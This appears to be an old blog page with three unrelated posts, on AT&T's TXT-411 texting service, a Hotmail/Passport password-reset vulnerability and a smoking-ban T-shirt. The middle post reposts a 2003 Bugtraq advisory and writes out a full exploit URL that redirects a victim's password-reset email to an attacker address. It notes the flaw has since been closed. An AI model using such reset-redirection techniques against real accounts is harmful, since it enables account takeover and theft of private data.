A/S/L to an AT&T operator? AT&T is lauching a new service to save people money on 411 calls. It is a service called TXT-411. Working on SMS, TXT-411 will let you message an AT&T operator for 411 info. AT&T charges $1.25 to dial 411, and 50 cents to use TXT-411 for a phone number, or $1.10 for driving directions. So it isn't going to save you loads of money but you might be able to use emoticons.

This was a good exploit, too bad it stopped working
Bugtraq had a post for a Hotmail/Passport/.NET problem but the reset was turned off as of 11:30pm last night. It is still a good hole and should be read about.
Hotmail & Passport (.NET Accounts) Vulnerability
There is a very serious and stupid vulnerability or badcoding in Hotmail / Passport’s (.NET Accounts)
I tried sending emails several times to Hotmail / Passport contact addresses, but always met with the NLP bots.
I guess I don’t need to go in details of how cruical and important Hotmail / Passport’s .NET Account passport is to anyone.
You name it and they have it, E-Commerce, Credit Card processing, Personal Emails, Privacy Issues, Corporate Espionage, maybe stalkers and what not.
It is so simple that it is funny.
All you got to do is hit the following in your browser:
https://register.passport.net/emailpwdreset.srf?lc=1033&em=victim@hotmail.com&id=&cb=&prefem=attacker@attacker.com&rst=1
And you’ll get an email on attacker@attacker.com asking you to click on a url something like this:
http://register.passport.net/EmailPage.srf?EmailID=CD4DC30B34D9ABC6&URLNum=0&lc=1033
From that url, you can reset the password and I don’t think I need to say anything more about it.
Vulnerability / Flaw discovered : 12th April 2003
Vendor / Owner notified : Yes (as far as emailing them more than 10 times is concerned
Sorry it's been a long time but here is something for the smokers So you know smoking is bad, you do it anyway. Then some idiot takes away places you can smoke because he thinks it will do good for businesses. Then the businesses start failing. Well here's some good news, a shirt that will express you love for Bloomberg in NYC.
